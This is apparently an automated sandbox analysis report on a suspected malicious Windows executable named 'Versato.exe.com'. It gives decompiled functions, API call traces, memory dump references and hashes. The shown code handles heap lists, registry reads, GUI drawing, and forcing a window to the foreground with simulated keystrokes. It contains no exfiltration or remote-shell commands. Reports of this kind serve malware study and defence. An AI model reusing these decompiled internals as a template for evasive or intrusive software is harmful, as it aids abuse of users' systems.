API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,73BCEA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 9fad0d1f050ed7d3c041ba0641024a2ac7bd538782fd8728627b02e990d4ca50
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 9fad0d1f050ed7d3c041ba0641024a2ac7bd538782fd8728627b02e990d4ca50
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Versato.exe.com PID: 5892 Parent PID: 6804 Versato.exe.comCOMMON

Executed Functions

Function 01181284, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,01181275,SwapMouseButtons,00000004,?), ref: 011812A8
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,01181275,SwapMouseButtons,00000004,?), ref: 011812C9
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,01181275,SwapMouseButtons,00000004,?), ref: 011812EB

Strings

Control Panel\Mouse, xrefs: 011812A6

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: a630f72bbeaa833a12eaa559ddb209e7ba2ffa2f1879f2776c29a70b65046117
Instruction ID: dd4acbecfc6674f1cbc555baf856fb3e196678dcbaa723eb8933aedd466814e3
Opcode Fuzzy Hash: a630f72bbeaa833a12eaa559ddb209e7ba2ffa2f1879f2776c29a70b65046117
Instruction Fuzzy Hash: 5F115AB2514208BFDB25DFA9D884EAEBBB9EF05750F108559F805D7100D7319E819BA4

Uniqueness

Uniqueness Score: -1.00%

Function 011A0FE6, Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 011A0FFE

Part of subcall function 011A593C: __FF_MSGBANNER.LIBCMT ref: 011A5953
Part of subcall function 011A593C: __NMSG_WRITE.LIBCMT ref: 011A595A
Part of subcall function 011A593C: RtlAllocateHeap.NTDLL(01690000,00000000,00000001,?,00000004,?,?,011A1003,?), ref: 011A597F

std::exception::exception.LIBCMT ref: 011A101C
__CxxThrowException@8.LIBCMT ref: 011A1031

Part of subcall function 011A87CB: RaiseException.KERNEL32(?,?,?,0123CAF8,?,?,?,?,?,011A1036,?,0123CAF8,?,00000001), ref: 011A8820

Part of subcall function 011A8701: _free.LIBCMT ref: 011A87AE

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_free_mallocstd::exception::exception
String ID:
API String ID: 3712093317-0
Opcode ID: 15e391c347f1fb4111d8d41d9083117bd181d81233630ac96154d1470a0c7987
Instruction ID: 4fffc5953fc7af267dc268d595c9ea23c4cd0d5fd082d99798c4424c1cdc23ac
Opcode Fuzzy Hash: 15e391c347f1fb4111d8d41d9083117bd181d81233630ac96154d1470a0c7987
Instruction Fuzzy Hash: 9BF0F4BD64420EB6DB2CEAACDD149EE7FACAF11264F80001AF914A2180DB718651C2E1

Uniqueness

Uniqueness Score: -1.00%

Function 011A32CF, Relevance: 3.0, APIs: 2, Instructions: 7COMMON

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 011A32D5

Part of subcall function 011A329B: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,011A32DA,011A1003,?,011A9EEE,000000FF,0000001E,0123CE28,00000008,011A9E52,011A1003,011A1003), ref: 011A32AA
Part of subcall function 011A329B: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 011A32BC

ExitProcess.KERNEL32 ref: 011A32DE

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: bb5b039629160fcca6c9ac84df89cfdda33360958634f216ae06f3b73c019dc4
Instruction ID: 09d4afe007681a0d75f868f41a0263dc4188bd82eae89fbb71df385edcd4d702
Opcode Fuzzy Hash: bb5b039629160fcca6c9ac84df89cfdda33360958634f216ae06f3b73c019dc4
Instruction Fuzzy Hash: AEB09230000208BBCB052F51EC0D8493F29FB10A90B404021F81448020DF72AAD2DAC4

Uniqueness

Uniqueness Score: -1.00%

Function 011A2E74, Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 011A3447: __lock.LIBCMT ref: 011A3449

__onexit_nolock.LIBCMT ref: 011A2E90

Part of subcall function 011A2EB8: RtlDecodePointer.NTDLL(?,00000000,00000000,?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2ECB
Part of subcall function 011A2EB8: DecodePointer.KERNEL32(?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2ED6
Part of subcall function 011A2EB8: __realloc_crt.LIBCMT ref: 011A2F17
Part of subcall function 011A2EB8: __realloc_crt.LIBCMT ref: 011A2F2B
Part of subcall function 011A2EB8: EncodePointer.KERNEL32(00000000,?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2F3D
Part of subcall function 011A2EB8: EncodePointer.KERNEL32(011BB7EA,?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2F4B
Part of subcall function 011A2EB8: EncodePointer.KERNEL32(00000004,?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2F57

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: bd42296fa0c4aa4faf33caf6767f10958c4ab9cab8df9f4d8aa6d05709908eab
Instruction ID: 5ac6922931cfaf5038e7809c963521bb41e56d008a9994de4d7796fc09bd1664
Opcode Fuzzy Hash: bd42296fa0c4aa4faf33caf6767f10958c4ab9cab8df9f4d8aa6d05709908eab
Instruction Fuzzy Hash: FBD012B9D1121AABDB18BBA4880075D7E706F2062AFD08145D42466280C7740A425B91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01195EDA, Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 01195EE2
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 011D10D7
IsIconic.USER32 ref: 011D10E0
ShowWindow.USER32(?,00000009), ref: 011D10ED
SetForegroundWindow.USER32(?), ref: 011D10F7
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 011D110D
GetCurrentThreadId.KERNEL32 ref: 011D1114
GetWindowThreadProcessId.USER32(?,00000000), ref: 011D1120
AttachThreadInput.USER32(?,00000000,00000001), ref: 011D1131
AttachThreadInput.USER32(?,00000000,00000001), ref: 011D1139
AttachThreadInput.USER32(00000000,?,00000001), ref: 011D1141
SetForegroundWindow.USER32(?), ref: 011D1144
MapVirtualKeyW.USER32(00000012,00000000), ref: 011D1159
keybd_event.USER32(00000012,00000000), ref: 011D1164
MapVirtualKeyW.USER32(00000012,00000000), ref: 011D116E
keybd_event.USER32(00000012,00000000), ref: 011D1173
MapVirtualKeyW.USER32(00000012,00000000), ref: 011D117C
keybd_event.USER32(00000012,00000000), ref: 011D1181
MapVirtualKeyW.USER32(00000012,00000000), ref: 011D118B
keybd_event.USER32(00000012,00000000), ref: 011D1190
SetForegroundWindow.USER32(?), ref: 011D1193
AttachThreadInput.USER32(?,?,00000000), ref: 011D11BA

Strings

Shell_TrayWnd, xrefs: 011D10D2

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 1f798bd159c677280d44d39f5ecaee3ab751b8667c3a68aa5079c0cd2d784a35
Instruction ID: aaf4bed978a6aafd28648edf509c75142d4742c1cbe5f382acd08e831c8f3b3b
Opcode Fuzzy Hash: 1f798bd159c677280d44d39f5ecaee3ab751b8667c3a68aa5079c0cd2d784a35
Instruction Fuzzy Hash: 5131A571A403187FFB356BB5AC49F7F7E6DEB44B50F104016FA04AA1C1CEB15941ABA4

Uniqueness

Uniqueness Score: -1.00%

Function 01181663, Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 01181DD6
GetSysColor.USER32(0000000F), ref: 01181E2A
SetBkColor.GDI32(?,00000000), ref: 01181E3D

Part of subcall function 0118166C: DefDlgProcW.USER32(?,00000020,?), ref: 011816B4

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 0afcb533241c9ac2d517d200298e1e4c12daa830c0c37c69a181551fc03744f6
Instruction ID: e7654f6f3f79928e245120f4732e071f10f028a1197afacb7b7683a874df1b54
Opcode Fuzzy Hash: 0afcb533241c9ac2d517d200298e1e4c12daa830c0c37c69a181551fc03744f6
Instruction Fuzzy Hash: 11A101B6119405BFE72DBEAD9C8CFBF399DEB51245B45830AF102C65C1CB2499038A7B

Uniqueness

Uniqueness Score: -1.00%

Function 0120ABFF, Relevance: 49.8, APIs: 33, Instructions: 274
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0120ABFF(intOrPtr _a4, struct HWND__** _a8) {
				int _v32;
				struct tagRECT _v48;
				struct tagRECT _v64;
				int _v68;
				void* _v72;
				int _v76;
				WCHAR* _v80;
				WCHAR* _v84;
				void* _v96;
				int _v100;
				void* __ebx;
				void* __edi;
				signed int _t90;
				long _t93;
				long _t95;
				void* _t97;
				void* _t105;
				long _t109;
				WCHAR* _t112;
				int _t123;
				signed int _t136;
				struct HDC__* _t151;
				int _t156;
				signed int _t157;
				signed int _t165;
				struct HWND__** _t168;
				intOrPtr _t176;
				int _t179;
				struct HWND__** _t180;
				int _t181;
				void* _t184;
				void* _t186;

				if( *0x12472b0 == 0) {
					_t176 = _a4;
					_t90 =  *(_t176 + 0x10);
					_t151 =  *(_t176 + 0x18);
					_v48.left = _t90 & 0x00000010;
					_t156 = _t90 & 0x00000006;
					_v48.right = _t90 & 0x00000001;
					_v32 = _t156;
					__eflags = _t156;
					if(_t156 == 0) {
						_t168 = _a8;
						__eflags =  *((intOrPtr*)(_t168 + 0x4c)) - 0xffffffff;
						if( *((intOrPtr*)(_t168 + 0x4c)) != 0xffffffff) {
							_push( *((intOrPtr*)(_t168 + 0x4c)));
						} else {
							_push(GetSysColor(0x12));
						}
						_t93 = SetTextColor(_t151, ??);
					} else {
						_t93 = SetTextColor(_t151, GetSysColor(0xe));
						_t168 = _a8;
					}
					__eflags =  *(_t168 + 0x48) - 0xffffffff;
					_v48.top = _t93;
					if( *(_t168 + 0x48) != 0xffffffff) {
						_v64.left = CreateSolidBrush( *(_t168 + 0x48));
						_t95 =  *(_t168 + 0x48);
					} else {
						_v64.top.left = GetSysColorBrush(0xf);
						_t95 = GetSysColor(0xf);
					}
					_v48.top = SetBkColor(_t151, _t95);
					_t97 = SelectObject(_t151, _v72);
					__eflags = _v68;
					_v64.right = _t97;
					_v72 = _t176 + 0x1c;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					if(_v68 == 0) {
						__eflags = _v76;
						if(_v76 != 0) {
							InflateRect( &_v48, 0xffffffff, 0xffffffff);
						}
						DrawFrameControl(_t151,  &_v48, 4, 0x10);
					} else {
						InflateRect( &_v48, 0xffffffff, 0xffffffff);
						_t186 = CreateSolidBrush(GetSysColor(0x10));
						FrameRect(_t151,  &(_v64.bottom), _t186);
						DeleteObject(_t186);
					}
					_t101 =  &_v48;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t179 = _v68;
					__eflags = _t179;
					if(_t179 == 0) {
						__eflags = _v76;
						if(_v76 == 0) {
							_push(0xfffffffe);
							_push(0xfffffffe);
						} else {
							_push(0xfffffffd);
							_push(0xfffffffd);
						}
						InflateRect(_t101, ??, ??);
						_v48.left = _v48.left - 1;
						_t38 =  &(_v48.top);
						 *_t38 = _v48.top - 1;
						__eflags =  *_t38;
					} else {
						InflateRect( &_v48, 0xfffffffe, 0xfffffffe);
					}
					FillRect(_t151,  &_v48, _v80);
					_t105 = 2;
					__eflags = _t179;
					if(_t179 != 0) {
						L24:
						_v64.top.left = _v64.top.left + _t105;
						_t45 =  &(_v64.right);
						 *_t45 = _v64.right + _t105;
						__eflags =  *_t45;
					} else {
						__eflags = _v72 - _t179;
						if(_v72 != _t179) {
							goto L24;
						}
					}
					_t180 = _a8;
					_t171 = 0x104;
					_v96 = 0x104;
					_t157 = GetWindowLongW( *_t180, 0xfffffff0);
					__eflags = _t157 & 0x00002000;
					if((_t157 & 0x00002000) == 0) {
						_t171 = 0x124;
						__eflags = 0x104;
						_v96 = 0x104;
					}
					__eflags = (_t157 & 0x00000300) - 0x300;
					if((_t157 & 0x00000300) == 0x300) {
						_t171 = _t171 | 0x00000001;
						__eflags = _t171;
						_v96 = _t171;
					}
					__eflags = _t157 & 0x00000200;
					if(__eflags == 0) {
						__eflags = _t157 & 0x00000100;
						if(__eflags == 0) {
							_t171 = _t171 | 0x00000001;
							__eflags = _t171;
							goto L33;
						}
					} else {
						_t136 = 2;
						_t171 = _t171 | _t136;
						L33:
						_v96 = _t171;
					}
					_t109 = SendMessageW( *_t180, 0xe, 0, 0);
					_t165 = 2;
					_t58 = _t109 + 1; // 0x1
					_t181 = _t58;
					_t112 = E011A0FE6(_t151, _t171, __eflags,  ~(0 | __eflags > 0x00000000) | _t181 * _t165);
					_v80 = _t112;
					GetWindowTextW( *_a8, _t112, _t181);
					DrawTextW(_t151, _v80, 0xffffffff,  &(_v64.top), _t171);
					__eflags = _v72;
					if(_v72 != 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_v64.right = _v64.right + 1;
						_t74 =  &(_v64.bottom);
						 *_t74 = _v64.bottom.left + 1;
						__eflags =  *_t74;
						SetTextColor(_t151, GetSysColor(0x11));
						DrawTextW(_t151, _v84, 0xffffffff,  &_v64, _v100);
					}
					__eflags = _v84;
					if(_v84 != 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t184 = CreateSolidBrush(0);
						FrameRect(_t151,  &(_v64.top), _t184);
						DeleteObject(_t184);
						InflateRect( &_v64, 0xfffffffc, 0xfffffffc);
						DrawFocusRect(_t151,  &_v64);
					}
					L011A105C(_v76);
					SelectObject(_t151, _v64);
					DeleteObject(_v96);
					SetTextColor(_t151, _v84);
					SetBkColor(_t151, _v80);
					_t123 = 1;
					__eflags = 1;
				} else {
					_t123 = E0120AF18(_a4, _a8);
				}
				return _t123;
			}

APIs

SetTextColor.GDI32(?,00000000), ref: 0120AC55
GetSysColorBrush.USER32(0000000F), ref: 0120AC86
GetSysColor.USER32(0000000F), ref: 0120AC92
SetBkColor.GDI32(?,000000FF), ref: 0120ACAC
SelectObject.GDI32(?,?), ref: 0120ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 0120ACE6
GetSysColor.USER32(00000010), ref: 0120ACEE
CreateSolidBrush.GDI32(00000000), ref: 0120ACF5
FrameRect.USER32 ref: 0120AD04
DeleteObject.GDI32(00000000), ref: 0120AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 0120AD56
FillRect.USER32 ref: 0120AD88
GetWindowLongW.USER32(?,000000F0), ref: 0120ADB3

Part of subcall function 0120AF18: GetSysColor.USER32(00000012), ref: 0120AF51
Part of subcall function 0120AF18: SetTextColor.GDI32(?,?), ref: 0120AF55
Part of subcall function 0120AF18: GetSysColorBrush.USER32(0000000F), ref: 0120AF6B
Part of subcall function 0120AF18: GetSysColor.USER32(0000000F), ref: 0120AF76
Part of subcall function 0120AF18: GetSysColor.USER32(00000011), ref: 0120AF93
Part of subcall function 0120AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0120AFA1
Part of subcall function 0120AF18: SelectObject.GDI32(?,00000000), ref: 0120AFB2
Part of subcall function 0120AF18: SetBkColor.GDI32(?,00000000), ref: 0120AFBB
Part of subcall function 0120AF18: SelectObject.GDI32(?,?), ref: 0120AFC8
Part of subcall function 0120AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 0120AFE7
Part of subcall function 0120AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0120AFFE
Part of subcall function 0120AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 0120B013

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: a7f8cb948ad7f115f44413e1bc6675d68d4e80bde80b0326134ea3077f4da85d
Instruction ID: 1dcd3b14a7ea1b3762b77f532d558cf65298ba42248055aaf496bfb36c8bc6e1
Opcode Fuzzy Hash: a7f8cb948ad7f115f44413e1bc6675d68d4e80bde80b0326134ea3077f4da85d
Instruction Fuzzy Hash: C0A18A72018305BFD722DF64EC08A6B7BA9FF88321F500B19FA62961D5DB70D984CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0120AF18, Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0120AF51
SetTextColor.GDI32(?,?), ref: 0120AF55
GetSysColorBrush.USER32(0000000F), ref: 0120AF6B
GetSysColor.USER32(0000000F), ref: 0120AF76
CreateSolidBrush.GDI32(?), ref: 0120AF7B
GetSysColor.USER32(00000011), ref: 0120AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0120AFA1
SelectObject.GDI32(?,00000000), ref: 0120AFB2
SetBkColor.GDI32(?,00000000), ref: 0120AFBB
SelectObject.GDI32(?,?), ref: 0120AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 0120AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0120AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 0120B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0120B05F
GetWindowTextW.USER32 ref: 0120B086
InflateRect.USER32(?,000000FD,000000FD), ref: 0120B0A4
DrawFocusRect.USER32 ref: 0120B0AF
GetSysColor.USER32(00000011), ref: 0120B0BD
SetTextColor.GDI32(?,00000000), ref: 0120B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0120B0D9
SelectObject.GDI32(?,0120AC1F), ref: 0120B0F0
DeleteObject.GDI32(?), ref: 0120B0FB
SelectObject.GDI32(?,?), ref: 0120B101
DeleteObject.GDI32(?), ref: 0120B106
SetTextColor.GDI32(?,?), ref: 0120B10C
SetBkColor.GDI32(?,?), ref: 0120B116

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: d49d4a59a49a3da6b366b391dc9a9a1d848519fabdcd2871ca3453a43539426a
Instruction ID: 17127e0a6441984ab200c42f077af569ea19d4840f44b2b39d37e8ee651d9f79
